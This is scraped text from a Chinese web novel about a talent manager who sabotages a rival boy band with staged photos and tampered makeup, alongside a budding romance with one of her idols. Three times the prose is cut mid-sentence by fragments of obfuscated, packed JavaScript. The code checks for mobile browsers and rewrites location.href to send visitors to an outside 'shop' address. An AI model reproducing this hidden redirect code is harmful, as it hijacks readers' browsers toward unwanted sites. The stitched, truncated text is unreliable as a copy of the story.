l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126340|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背。 被背起来时,他才发现他比她高那么多,单虹被带着摔了两次,第三次高义南想放弃,说要不算了吧,别演了。 单虹却不语,只是继续背对着他。 第三次终于背起来了,单虹白净的脸因为情绪反复而涨红,背着高义南走出一段路后,终于看见了出租车,她如释重负地抬手叫出声:“这里!这里,停车!” 这段剧情到这之后就该切换其他场景了,高义南拍拍甘惊鸿,心有余悸地趴在她背上:“小姑娘,可以了,把我放下去吧。” 甘惊鸿两只手臂直打颤,小小的身体快要被压垮,却摇头不放。 高义南有些无奈,这也太入戏了。 他只得控制身体往后滑,掰开甘惊鸿的手才解脱出来,稳稳站在地上。 甘惊鸿背上忽然一轻,身体痉挛抽搐的肌肉还没反应过来,一下没站稳,瘫坐在地上,屁股坐在冰凉的地面上,她抬头看见高义南和他身后的粉丝,缓了一分多钟,才有点回神。 一回神,人就浑身虚脱了似的,不停往外冒汗,甘惊鸿大口喘着气。 房车前一时有些安静,没了刚才咋咋呼呼的叫喊,众人甚至有些出不来戏的恍惚感。 粉丝们来到高义南旁边,象征性地夸了他几句,但多数人的目光都投向了甘惊鸿,看她坐在地上发愣。 高义南盯着甘惊鸿看了几秒,脸色有点发黑。 这些都是来看他的粉丝,本来是他给女二传授演技技巧的场面,被甘惊鸿毁得一塌糊涂。 高义南尽量维持着体面的表情,夸了甘惊鸿几句。 等助理来叫高义南去吃晚饭,粉丝们和他告别,临走时,高义南看了甘惊鸿一会儿。 在高义南粉丝准备散场离开前,有一两个人来到甘惊鸿身旁蹲下,关切地问她:“你还好吗?” 甘惊鸿懵懵地眨了眨眼,看着面前两个人:“好,好的。” “你刚才演得真好,我甚至都以为我真的目睹了这场霸凌。” “对对,尤其是那群坏人走了之后,你劫后余生的那个状态,太真实了!不对啊,好像只有你们两个人......我怎么感觉真的有一群人在欺负你们?” “那不是重点!重点是你怎么把高老师背起来的啊!天呐,我都不敢信,他一米八,居然就跟小鸡似的被背起来了!” “你这什么形容啊,小鸡什么鬼!” “哎呀呀,真的很像嘛。” 甘惊鸿慢慢恢复过来,被两个粉丝的对话逗到,噗嗤笑出了声:“真的吗?” 一位粉丝将她带来的多余的礼物给了甘惊鸿一份,那是一个系着粉色蝴蝶结的小礼盒,里面放着一张贺卡,没有署名,只写着—— 【世事多变,祝你初心不改,得到想要的一切】。 甘惊鸿捧着礼盒看了很久,等她想起来要感谢人家时,抬起头,人已经走很远了。 夜晚的空气中弥漫着清甜的油菜花香,有风吹过,带动窸窸窣窣的温柔的花叶交错声。 剧组的工作人员都去休息了,单虹家的小院变得静谧,抬起头能看到天上闪烁的碎星。 甘惊鸿用她自己的声音说:“一定会的。” 50. 反向营销1(男团) 几个小时前,下午一点,演播大楼。 三人站在2号演播厅外,跟宫欢僵持不下。 “进不进去?”宫欢叉着腰站在他们面前,颇有一副不照做就弄死他们的架势。 奚亭云为难地往2号演播厅里看了一眼,TXT男团在里面彩排,他微微皱眉:“一定要和他们离得很近吗?” “对。” 萧子重脸上写满了嫌弃:“还要有肢体接触?” “对。” 安声试图说服自己...说服不了一点:“就算这样,为什么还要化妆,露出特别完美的漂亮动作和面部表情!?我们不是刚吵了架吗?” “问那么多干嘛,”宫欢一口气全怼回去,“让你们做就做,又不会让你们白白恶心。” “那恶心的不是你,”萧子重数落着宫欢的要求,抗议道,“让我们去请教他们舞蹈姿势勉强还能忍一忍,可肢体接触,还要笑的好看,姿态挺拔......你老实说,是不是要破产了把我们卖给他们?” 宫欢挑眉看他,颇像看菜市场的猪头肉:“就你这身价,现在卖了我都嫌赔本。” “你们就当那个舞台是初舞台,练习如何媚粉,”宫欢说,“就当是......脱敏训练吧,以后说不准你们会和各种恶心人同台,提前演练一下。” 安声似懂非懂:“欢姐果然还是为我们好。” “你什么时候能分清宫欢的好赖话,”萧子重惆怅地摇头,“队友不好带啊。” 安声很认同他这句话:“我也觉得。” 就这样,在宫欢的死亡凝视下,三人磨磨唧唧、用鞋拖地,慢慢进了2号演播厅,他们前后走成一排,试图回头看看宫欢有没有离开,很可惜,没有。 ——她一直都在看着他们,渗人的眼神紧盯他们。 没办法,三人只得走上舞台,扭扭捏捏了一会儿,视死如归地上去和陈闪闪等人打招呼。 “陈老师——前辈,我们来向您虚、心、求、教!” 陈闪闪险些被身后咋呼的声音吓到,耸着肩膀回头一看,顿时厌恶不屑地瞥了三人一眼:“你们又来干嘛?” 萧子重额角青筋直跳,心里默念“这钱真难挣啊”,脸上却已带上了专业的谦虚笑容:“陈老师,诶陈老师,别走啊您,那不是昨天我们这些小辈不懂事嘛,今天特意来跟您多相处相处......” 萧子重热情地靠了过来,抬手勾住陈闪闪肩膀用力捏了捏人肩头,他手背的骨肉与皮肤层紧绷起来,牵连出有些吓人狰狞的状态。 陈闪闪被萧子重捏的肩膀生疼,痛得嘴巴鼻子歪扭,想挣脱推开,力气却敌不过,只能恶狠狠骂道: “谁要跟你们相处啊,赶紧滚蛋!别逼我揍你!” 萧子重两腮绷紧,口中咬紧了牙齿,却还努力保持笑容,别扭的笑看起来像是憋着坏:“哎呀说什么揍不揍的,那都是友好交流。” 他都上了,奚亭云和安声互相看了眼,一人选了一个成员去对线。 一时间,三人围着TXT男团各种不要钱的散发魅力。 他们按照宫欢的要求,在TXT男团成员旁边莫名其妙地摆pose,做舞蹈动作,脸上的笑就没消失过——表情管理满分。 相比之下,TXT男团里的各个人都被折腾得皱紧了眉头,嫌恶地别开脸,面部表情一言难尽。 宫欢躲在侧门旁边,看了看2号演播室一侧的落地玻璃窗。 窗外有片绿茵茵的灌木丛,草叶遮挡的间隙里时不时反射出微光。 一直到三点多,三人实在顶不住TXT的怒视,一路快跑地离开了2号演播厅。 宫欢不知道去哪儿了,早就没了影子,他们回到1号演播厅,瘫坐在舞台边的台阶上,全都没了半条命。 “太痛苦了,”萧子重抱着头哀嚎,“这是我这辈子做过的最恶心的事情!” 安声深以为然,揉了揉笑僵的脸:“去给别人捣乱比我自己训练要累上百倍,果然损人不利己啊。” 奚亭云说不出话,只是脸色煞白,眉间略显疲惫。 显然刚才那些操作是伤敌一千自损百八,他本就性格内向,不爱和陌生人来往,刚才强行搭话去了半条命,不过他还是在认真去完成宫欢给的任务。 只是不明白,宫欢要他们这么做的原因是什么? 几人休息了会,没多久又自觉的互相拉起对方,走上舞台继续彩排。 这几天下来,他们的走位基本熟悉了,还有一点就是初舞台的心理状态,这点宫欢没有太关注,但作为队长的安声格外注意。 他将上台演出的心态问题,作为第一需要克服的难关。 三人彩排时沟通起来。 萧子重:“我之前演话剧比这些人多多了,而且还要说词儿记出场次序,难度不比这个大?这对我来说就是小场面。” 奚亭云则是说:“我最近也有在锻炼这方面的问题,尽量让自己专注在镜头感上,应该可以。” 安声却异常严肃:“不不不,你们千万不要高估自己,也不要低估舞台的多变性。” “舞台的突发状况特别多,”安声抬手打住萧子重要接话的动作,解释道,“我知道萧哥说的意思,话剧也会面临很多突发状况,但这是两种不同的舞台形式,话剧是沉浸式表演,你的多变性是来自其他演员,或者是临时忘词加词之类的,这些都可以随机应变,甚至是让对手演员帮助的临场应变来解决。 “唱跳舞台的麻烦之处在于,你的音乐鼓点,耳返里的节奏,走位还有找镜头等等,这些都是息息相关的,无法停顿。” “这些影响之下,一旦有一个出问题,其他的都非常容易引发连锁反应,而我们三个又都是互相配合的走位,一个出了问题,非常考验另外两个人的应对。” 奚亭云和萧子重安静地听着安声的解释,等他说完后奚亭云问:“你有应对的办法吗?” “有,”安声笃定地说,“大家把注意力全都放在我们自己身上,最容易出现问题的地方是耳返,如果耳返里的音乐出了问题,你们就直接摘掉,给另外两个人一个提示,这样我们好切换走位,把这个人藏在后面来继续进行。” “至于其他的......最好的应对办法就是——相信队友,遇到任何处理不了的麻烦,就给其他两个人使眼色,让我们配合解决问题。”安声谈及舞台的事时,像是变了个人,任何事都考虑的非常周全。 奚亭云和萧子重互相看了对方一眼,又看向安声,萧子重慢悠悠抬手,懒散地朝他做了个敬礼的手势:“没问题,队长。” 猝不及防地被这么叫了一声,安声一下不好意思了。 两位队友的年龄都比他大,平时他都是叫哥的。也许是这段时间以来的相处,让他们都了解了对方,到了紧要关头,大家都很配合安声的安排。 最初对两人的排斥慢慢散去,就像宫欢说的,先打个水花出来,不试试怎么知道结果呢? - 后台休息室。 宫欢打开电脑,登录微信,将手机贴在耳边:“拍完了?发给我看看。” 手机那头是高姐的声音,对面应了一声后,将一连串的照片发来。 “你找狗仔就是为了拍这些吗,”高姐问,“怎么做到的,对方这么配合?” 宫欢点开发来的十几张照片,每张照片里最少都有两个人,最多的甚至所有人都在其中—— 奚亭云三人和TXT男团,经过精修微调的照片里面,三人的动作和面部状态完美到找不出瑕疵,风格不同的三张优越神颜各有各的美,皮肤没有瑕疵,眼神有光点,十几张照片里面每张都堪称极致完美。 而照片里的另一边,是TXT男团的成员,陈闪闪等人一张张油光满面的纯素颜被拍得一清二楚,有些照片上几人露出嫌恶的表情,眼底的不耐烦几乎要溢出屏幕。 对比起来简直一个天上一个地下。 宫欢看着这些照片,非常满意,鼻腔里溢出几声笑:“我绝对要扳回一局。” “什么?”高姐没听出来她的意思。 “没事,帮我联系几家特别难缠的媒体,”宫欢说,“把照片给他们放出风声,标题我都给他们想好了......璀璨娱乐旗下TXT男团路透生图放出!” 电话那头的高姐很快明白过来:“OK,只是有一点,这些照片被粉丝发现 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当晚,郑羽正在计划给舞台加预算还是将重点放在节目播出后的、和宫欢手下男团的营销拉踩上面。 TXT男团的艺人基本都在韩国那边待过,舞蹈功底和表演风格没一个差的,只要抓住这两点吹嘘,风头绝对能盖过宫欢那边的人。 就算那几个艺人好看又有什么用,这世界上好看的人多了,不是谁都有资格火的。 还没等她做出决定,助理便急急忙忙地冲进休息室,语无伦次地叫道:“羽,羽姐!网上不知道怎么回事多出来好多家媒体发TXT路透图!” 郑羽不以为然,觉得她太咋呼:“那不正常吗,我们之前放出过预告消息说在录制节目,让陈闪闪他们进出看见人了表现好一点。” 助理慌忙摆手:“不不是,不是好的路透图,是——是纯素颜生图!而且拍的还是和宫欢那边艺人的同台照!” “什么照?”郑羽脸一下煞白,猛地站起身质问道,“他们舞台不是分开了吗!怎么还会有同台照!?” 助理拿出手机翻开热点新闻,点进标题名为——“TXT全员颜值不如路人”的一则新闻,里面置顶着一张超高清4K照片。 照片是仰拍的角度,被拍到的是陈闪闪和奚亭云。 错位的身型下,站在前面,更靠近镜头的陈闪闪衣服皱巴巴,发型邋遢,失去往日精致造型的加持——这张脸的五官变得普普通通,单眼皮的小眼睛,塌鼻梁,甚至不如一些网红。 而反观陈闪闪身后错出半个身子的奚亭云,微微仰起的头,优越的下颌线往下连接着喉结,往上一路连着唇和鼻梁,仅仅是一个侧面,就能看出骨骼的立体度。 偏偏他皮肤白,灯光几乎将人皮肤照得透明如玉,将肤色本就发黄的陈闪闪衬托得更像精神小伙。 郑羽心脏骤停,捂着胸口快要气得爆炸:“这是什么时候拍的!谁放出去的!?哪家媒体??也太黑心了,明知道陈闪闪他们长相不行还在这上面做文章!” 她的怒问一声比一声大,助理越听越胆战心惊,哭丧着脸说:“太,太多了,发图的媒体多到根本不知道是谁家的。” 郑羽强忍着火气,往下翻这条娱乐八卦新闻的内容。 拉踩、对比、明夸暗贬,一边说陈闪闪等人没有功劳也有苦劳,一边说该让位就让位等等乱七八糟的。 郑羽差点把手机摔出去,但看到后面的评论区,不由得皱紧眉头。 消除乐乐:【等等,你们有没有觉得图里的那个人很眼熟?】 踢踏踢踏:【这不是前段时间小某书上面火的书店侧影吗!!是不是他??】 古哇啦之神:【卧槽,当时就看他气质不一般,没想到真是个爱豆。】 【他怎么和陈闪闪同台了?是璀璨的艺人吗?】 【陈闪闪的表情好丑陋啊,相由心生,他不会霸凌新人吧!】 好在这些评论没有很多,大多数都被闻声赶来的TXT粉丝控评了。 郑羽哪还不明白,明摆着是有人带节奏,这场路透图从一开始就是被人操控算好的,她放下手机,怒气冲冲地咬牙叫出了一个人的名字: “宫欢——!” 51. 反向营销2(男团) “阿嚏——” 宫欢打了个喷嚏,迷迷糊糊地醒了。 她从按摩椅中坐起身,摸了摸手臂。难怪有点冷,没盖薄毯,休息室开了通风,吹得久了。 不过她也睡得差不多,该做正事了。 宫欢看了眼手机时间,晚上23:00。 最近男团训练的时间自行加长,她就陪着他们,偶尔做些接洽舞台布景、买点饭和水之类的杂事。 TXT男团没他们刻苦,基本在22:00前就会陆陆续续的离开,去泡吧或是飙车等等,隔天顶着带血丝的眼睛回来。 宫欢偷偷摸摸走出休息室,左右看了一圈,没发现工作人员。 她放轻脚步,慢慢走出后台,一直来到2号演播厅,演播厅旁边有一排休息室,宫欢一间间找过去,当看见一扇门上的标签贴着TXT休息室—— 她打了个响指:“就是这了。” 宫欢刚想悄悄打开门进去,裤袋里的手机不合时宜地叮铃铃乱响起来,她暗骂一声,手忙脚乱地拿出手机看见来电显示——“萧子重”。 接起电话就是骂:“你干嘛,我忙着呢!” 手机那头说了些什么,宫欢听都不听直接怼回去:“饿了不会自己找吃的吗,找我我割肉给你吃?别烦我,自己玩儿去!” 急忙挂断电话,宫欢拍拍胸口。 眼睛滴溜溜地转了一圈,没看见人才松了口气,继续悄咪咪地拧了拧门把手。 休息室一般不会上锁,方便艺人们随时进出休息。 顺利打开门,宫欢顺势将自己塞进门内,反手将门关紧反锁。 进来后她没刚才那么紧张,打开休息室灯光,眼睛被刺得有些受不了,缓了几秒才看清。 宫欢目标直奔休息室的化妆台,在一堆瓶瓶罐罐里面到处翻找。 长期的节目彩排,艺人的休息室多少会放置一些常用的化妆品,翻到一瓶粉底液时,她缓缓勾了个笑,不怀好意地自言自语:“欺负我的人还扯什么公平竞争,谁信谁傻。” 宫欢拿出随身携带的经过特殊加工的炫彩粉底液。 外瓶的颜色看起来和平常的粉底液没太大区别,刚上脸的一段时间里看不出问题。但只要上了脸,过个一小时左右,那些五颜六色的炫彩颜色便会一点点浮现出来,什么卸妆油卸妆膏都洗不掉。 这是宫欢以前在对家手里学到的招数。 她拧开原本的粉底液瓶口,将炫彩粉底液倒进去,合盖后疯狂地上下摇匀,接着放回原位,继续蹑手蹑脚地离开了。 回到1号演播厅,奚亭云三人彩排了一整天,筋疲力尽地躺在舞台上,喝光的水瓶零零散散地倒在舞台边缘。 鉴于他们最近表现不错,她决定犒劳一下三人。 宫欢来到门口,敲了敲演播厅侧门,这么晚的时间导演组的人都散了,只有他们在彩排训练,以至于敲门声很容易被听见。 舞台上探出三颗脑袋,齐齐看向宫欢这边。 萧子重见是她,又躺了回去抱怨道:“你还知道看一眼我们的死活啊。” “饿,好饿......”安声可怜巴巴地叫着,半坐半趴在舞台上朝宫欢叫唤,“欢姐,我们没吃晚饭一直排练到现在,再不吃饭真的会死人。” 宫欢嫌弃地啧了声,正准备故作高声地放话让他们吃烧烤——咕噜噜,咕噜噜。 她脸一僵。 完蛋,下午忙完就睡着了,一直没吃东西。 “什么声儿?”萧子重抬头看了看队友,“你俩不是都饿过劲了吗?” 安声:“好像不是我们这的。” 在两人的眼神看向宫欢时,奚亭云及时地插话:“是我,我更饿了。” 两人的眼神转到一半扭回来看奚亭云,一个比一个复杂,萧子重说:“你把我们当傻子吗?” “对啊,奚哥,”安声附和道,“那肚子叫的声音明明——” 萧子重欣慰地点头,觉得安声终于聪明了,终于要和他站在同一阵营了! “明明在我旁边啊。”安声看着萧子重,心疼地摇头,“看把萧哥饿的,肚子都叫了两轮了。” “......”萧子重绝望地捂住脸,“治治你的空耳吧!” 宫欢又咳了咳,敲敲门提醒几人:“快点爬起来去吃宵夜,晚了没有啊。” 说着她不等人,转头就往外走。 三人停顿两秒,接着一骨碌翻起身紧追上去,追到后叽叽喳喳地问: “欢欢姐,吃什么吃什么啊?” “我可先说好啊,我不想看见任何绿色的菜叶子!必须是肉,烤肉,炸肉,腌肉都来一遍!” “我都可以,不挑食。” 宫欢走在三人前面,后面飘来一句她就打回去一句: “有什么吃什么。” “吃吃吃我都怀疑你是来我这蹭吃蹭喝来的,萧子重你能不能有点出息!” “不挑食——不挑食好啊......” 出了电视台园区,马路对面不远处摆了些大排档,宫欢看了看,说: “吃烧烤吧。” “吃烧烤。” 一前一后的两个人异口同声地说完这句话,几人忽然静了下来。 先前的肚子叫他们分不出来,这会儿距离这么近…… 安声和萧子重默默看向旁边沉默是金的奚亭云,又看了看前面的宫欢。 萧子重很损:“宫欢,你也参加默契训练了?” 宫欢:“......” 安声找补道:“不对,欢姐没参加,她一定是天天看我们训练,看会了。” 正往前走着的宫欢突然止住脚步。 紧跟着的奚亭云刹住了车,安声刹住了车,萧子重没刹住,于是便像多米诺骨牌似的往前倒,偏偏宫欢这时候转过身想开怼,猝不及防便撞见要往下倒的奚亭云。 宫欢眼眸瞪大,她反应极快,干脆利落地侧过身让开位置后稳稳站住。 而三人则以奚亭云垫底,安声中间,萧子重最后的顺序倒在一堆,三个人被压住身上酸痛的肌肉,又是一阵几哇乱叫。 “啊啊啊卧槽,你们不走了能不能吱一声,”萧子重爬起来揉着胳膊,“别还没上舞台先被自己人干掉了。” 奚亭云被压在最下面,摔的位置距离宫欢刚才站的地方偏移开了许多角度,显然是紧急关头控制着角度,怕把宫欢一起压扁。 他手心撑地,刚才接连的重量压下时,手心往前打滑,擦着粗粝碎石的地面直蹭到了手肘。 剧烈的疼痛蔓延开来,奚亭云对痛感格外敏锐,感觉到有碎石嵌入了皮肉中。 两个人都爬起来了。宫欢看见奚亭云肩膀微颤,手撑着地,头低垂没有要起身的动作,她不明所以地问了句:“怎么了?” 奚亭云顿了顿,仰头看她:“没事。” 说着用好着的那只手撑起身体。 才一起身,宫欢就眼睁睁看见他偏白皙的手臂内侧蜿蜒流下一条血痕,血滴顺着指尖吧嗒吧嗒往下滴。 “别动!” 宫欢一下叫住他,伸手抓住人手腕翻过来——果不其然,手心划破了一片,而因为有茧子不算严重,可手臂内侧的皮肤很嫩,不知被哪块石头擦割出有些深的口子,又长又深。 “这叫没事?”宫欢眉头紧拧,抬头瞪人一眼,又看向另外两个傻眼的人,“你们走路都不长眼睛的吗?” “不是,我们......”说了几个字又觉得不占理,萧子重感觉天大的冤屈没地儿申。 奚亭云试图解释一下:“路边太暗了,刚才都没注意,一点擦伤而已,不严重。” “你眼睛也没长到哪儿去,”宫欢连他也骂,奚亭云只得老老实实闭上嘴,任由她拉着手,宫欢骂完又捏着他手臂看伤口,“还好没伤在脸上......” 她的注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126342|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力全放在伤口上了,奚亭云看了眼路边的一家烧烤大排档,跟两个队友说:“就这家吧,先去点菜。” “那你的伤口怎么办,要上药的。”安声说。 奚亭云另一只手轻轻碰了下宫欢手臂,宫欢分神出来,抬头看他:“怎么?” “先去那边坐着点菜吧,你还没吃饭,”奚亭云说,“等下我点外卖,买点药擦擦就好了。” 经他提醒,宫欢想着也只能这样了,点点头算作答应,手却没松开奚亭云的手腕,怕他伤口碰到哪里,万一再感染发炎,事儿就麻烦了,所以一直紧紧牵着。 几人在大排档里坐下,老板将菜单拿过来。 “你们点菜。”宫欢随口说了句。 宫欢出来时没带包,这会儿在桌上找了包纸巾,连抽几张垫在奚亭云手臂上,叮嘱他:“自己把血擦擦,怎么这么脆皮,摔一下就流血,上次英子那回也是,就你伤得最重。” 奚亭云嗯了一声,慢慢地用纸巾擦血,也不知道是怎么擦得,反而刺激到了伤口,血又流出了不少。 哗啦啦地。 “......停!”宫欢觉得自己真是要被气死,她带着气又瞪奚亭云,“你是嫌自己死的不够快吗?” 奚亭云的手停在半空不敢乱动,他无辜无措地看她:“我有在好好擦。” 只是用了点力。 萧子重点着菜,时不时抬头看了眼两人,幸灾乐祸:“完咯,这顿饭吃完血也流干咯。” 安声看着另一页菜单,听见这话也跟着抬头看了看,夸张地哇了一声:“奚哥,刚才好像没这么多血,怎么越擦越多啊?” 宫欢没好气地全都瞪了一眼,丢开染血的纸巾,从塑料板凳中起身就往外走。 奚亭云以为她生气了,急得一下站起身,险些带倒塑料椅。 他一手捂住手臂,紧追上她,语气慌乱:“欢欢!” 宫欢被这一声叫得脊骨都发麻,她忍住奇怪的反应,止住步,转头看他:“你叫我什么?” “......欢欢。”奚亭云说。 宫欢眉头皱起来,像是要说什么。 奚亭云紧跟着解释:“你比我小,我不适合叫你“欢姐”。” “你可以跟萧子重一样叫我名字。” 我不想跟他一样。 奚亭云垂下眼,捂着流血的手臂,面色苍白,怎么看怎么可怜,他声音很轻:“连名带姓不太礼貌。” 宫欢:“我一直都叫你的全名。” 奚亭云:“你不一样。” 宫欢很快反问:“哪里不一样?” 奚亭云:“你是经纪人,可以这样叫艺人的名字。” 宫欢:“所以你坚持要这么叫我?” 奚亭云:“......你不想的话,我就不这样叫了。” 他说这话时,头微微偏开,大概因为失血的原因,唇色发白,唇缝里却有一线嫣红。 宫欢盯了几秒,语气放缓放慢:“你可以这么叫。” 奚亭云以为自己听错了,诧异地回过头来和她对上视线。 她眉头微挑起,眼底带着微晃的柔光,细碎明亮,紧紧锁住奚亭云移回来的视线,她暗含意味地说:“就像,那天晚上一样叫我,对吧?” 奚亭云顿住,大脑一片空白,失去所有思考能力。 宫欢朝前一步,离他更近,她微微笑起来,玩味似的、用软软柔柔的从未听过的语调说:“醉酒那天,是你接我回来的,对吗?” 她知道了。 她知道了,她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了她知道了。 52. 胡萝卜 不远处的烧烤大排档。 安声饿得厉害,大口吃着凉菜,想看看人怎么还没回来。 一抬头便远远地看见两人你看我,我看你,不由得纳闷:“他们在干什么?” 萧子重将视线从菜单上移开,往那边看了眼,眯眼看了片刻:“别理,一看就是饿得还不够,赶紧吃,吃饱了睡,睡完了去训练。” - 奚亭云像是忘记呼吸和眨眼,愣在原地直直地看着宫欢。 宫欢觉得自己扳回一局,笑着抬手拍拍奚亭云的肩膀:“回去坐好,我去那边的药店买药。” ...... 奚亭云看着宫欢的身影进了24小时药店。 身体不受他的控制,转身,迈步,一步步地走了回去,扶好半翻的塑料板凳,坐了回去。 手指一点点掐紧了受伤的手臂,本来被风干的血痕又被新的血液覆盖,丝丝麻麻的痛感却始终无法让奚亭云确认这刻是真是幻。 “老奚?老奚!”萧子重手在他面前晃了好几下。 奚亭云才僵硬地转头,却还是学不会眨眼,眼眶酸涩得发红。 萧子重看着他直摇头:“啧啧啧。” 安声特别配合:“大师,怎么了,您快说啊!” “没救了,没救了啊,”萧子重用手捋了捋不存在的胡子,“此乃不治之症!” “啊——那可怎么办啊!”安声假声哀嚎起来。 旁边吵闹的玩笑话接连不断,奚亭云却始终无法从宫欢给予的感觉中走出来,这种情况持续了很久,直到什么时候呢,直到她回来。 她拎着一大袋药,回来时菜都上齐了。 宫欢拉来一把塑料椅放在奚亭云对面,坐好后把药物一瓶瓶一罐罐摆在桌上,而后朝奚亭云伸出手,轻晃了下示意道:“手。” 让他把手放上去。 奚亭云却将手臂往后挪了挪,藏在身侧,他语无伦次地劝她:“要,要不然先吃完饭再处理,我不着急......” 宫欢把手抬高,丝毫不退让:“我着急,赶紧的,擦药很快,几下就好了。” “你还没吃饭,刚才就饿了——” 奚亭云话没说完,宫欢嫌他太磨叽,直接身体前倾,伸手扯过他藏在身侧的手臂,强行拽到身前,距离一下近得不可思议。 塑料椅很大,两张椅子面对面,中间的间隙少得可怜。 宫欢的腿几乎是贴着他的腿,奚亭云一下屏住了呼吸。 大排档里的灯光比刚才马路边的光亮了很多,他能看清宫欢的发顶翘起的几根乱发,她认真观察伤口,然后挑选药水,找棉签,棉布将那些血痕都擦拭干净。 宫欢正耐心上药,结果猝不及防地,伤口忽然绷紧又往外冒血。 她愣了下,视线往下一看,是搭在腿上的奚亭云的手掌合紧了,攥成拳握得很紧,导致手臂上的肌肉牵扯很广。 她有些无语,抬头看人:“不要给我增加工作量。” 奚亭云一下松开了掌心:“抱歉。” 上完药又缠了两三圈纱布,宫欢系了个死结,拍拍手完工:“好了,这下你晚上怎么睡都不会把纱布睡开。” 忙活半天,她头上都是汗,抽几张纸巾擦了擦,桌上的菜被吃了一些,又上了几份。 萧子重和安声已经半饱,见两人完事,看了眼奚亭云的状态:“宫欢你可以啊,这都被你救回来了。” 宫欢挑了挑散落在耳侧的发丝:“一般一般,也就顺手的事。” 将药瓶收回药袋里,宫欢挪开塑料袋,风卷残云般地吃起饭来,她确实饿,饿得不轻。 本来饿过劲了,给奚亭云上药又费了不少力气,要不是为了维持她经纪人的体面,早就饿得就差啃桌子了。 吃到一半,宫欢含糊不清地叮嘱奚亭云:“明天记得换药,别碰水,节目开播前一定要好。” 奚亭云食髓不知味,小口吃着饭,眼睛却一直看着宫欢那边,听见她这么说,闷闷地应了声。 她真的知道了吗? 还是在试探他? 她一直都很聪明,也许早就知道是他,只是没有戳破那层薄纸。 她允许他冒昧的靠近吗? 尽管来之前奚亭云做足了准备——如何一步步靠近,总是出现在她的视野,直到她无法适应没有他的那天。 可真正地面对宫欢时,他瞬间溃不成军,连呼吸都会忘记。 只有一次次因为缺氧而引发的胸口刺痛,在提醒他,清醒,清醒。 来之前他想的很好,勾引她,用皮囊、用声音、用他所拥有的一切。 他却忘了极其重要的一点。 他所拥有的一切,在宫欢眼中只是再普通不过的存在。 那么,他身上还有什么能吸引她的东西? 要怎么能让宫欢的目光在他身上停留地再久一点? 他是卑微的,没有任何优势的,要怎么才能站在她面前。 ...... 酒足饭饱,一行人回了酒店。 萧子重和安声迫不及待地回房间休息了。 宫欢手里提着药,把奚亭云送到房间门口,等人刷开房门后将那一大袋药塞进他怀里。 “明天早上换一次药,”宫欢说,“我早上起不来,你自己弄。” 奚亭云抱住塑料袋,看着她点了点头:“知道了。” 交代完她静静地盯了奚亭云几秒,奚亭云也一动不动地任她看。 僵持片刻。 “愣着干嘛?关门啊。”宫欢说。 奚亭云被噎了下。 往常他都是看着宫欢回了房间,才会关门去休息,但是......今天的宫欢貌似不太一样,扰得他很心虚。 他应了声,侧着身子往房间里挪,用手肘推着房门准备关上。 “等等。” 宫欢忽然说,没等奚亭云反应过来,一只手擦着门边探进来,撑开合了一半的门,又轻又重地搭在他肩上。 他再次屏住呼吸,怀里的塑料袋落在地上,发出哗啦啦的声响。 宫欢朝昏暗的房间里迈了一步,她踮起脚尖,面容有些模糊,眼眸却很亮,她的手撑着奚亭云的肩膀,一下凑近到他耳边,声音是他从未听过的语调: “晚安,奚亭云。” 说完,她拉开距离,退步时顺势拉住门把手,将门带上了。 壁灯亮着微弱而不甚明亮的光,奚亭云久久地站在门后,耳根的温度不断上升,烫到惊人。 他抬手轻轻摁住了胸口,这里,一直在跳。 某一瞬间,他怀疑自己会因过快过乱的心跳而死。 心跳声在安静的房间里显得吵闹而聒噪,奚亭云吞咽了口唾液,润了润干哑的喉咙,他微微启唇,像是濒死的鱼急促的吸了口气。 大脑一时半会无法恢复理智,奚亭云慢慢靠到墙边,将脸贴在墙壁上,用冰冷刺激自己清醒一点。 为什么…… 欢欢为什么是这个态度。 她知道醉酒那天是他未经允许,有意无意地去撩拨她,她没有生气吗? 不但没有生气,甚至给他上药,关心他,还主动地……和他道了晚安。 ——用他以前故意示好的那种方式。 为什么,为什么呢? 奚亭云脸上的温度不但没有在墙壁的刺激下恢复正常,反而愈来愈烫,面部、耳朵、额头、手指,身体的许多部位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126343|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都在发烫。 烫得他意识模糊,浑身发热。 他将额头抵在墙壁上,用力蹭了蹭,想逼自己想出原因,想出欢欢到底是怎么想的。 可大脑始终无法理智的去判断,奚亭云有些挫败,更多的却是沉迷。 喜欢。 他喜欢欢欢这样对他。 如果,能再多一点,就更好了。 奚亭云反复回想今晚的接触,他想,示弱卖惨是有用的,欢欢会心疼他,可怜他,于是理所当然地能更进一步的安抚他。 她知道他的故意撩拨,不但没有凶他,反而主动地……对他好。 那么,是不是可以确定—— 欢欢,默许他的撩拨了。 他可以继续做那些明目张胆地引诱,手段笨拙的接触……欢欢不会生气的。 想通这些,奚亭云脚步踉跄地进了浴室。 - 宫欢回到房间。 她心情愉悦地哼着歌解开衣服去浴室洗漱。 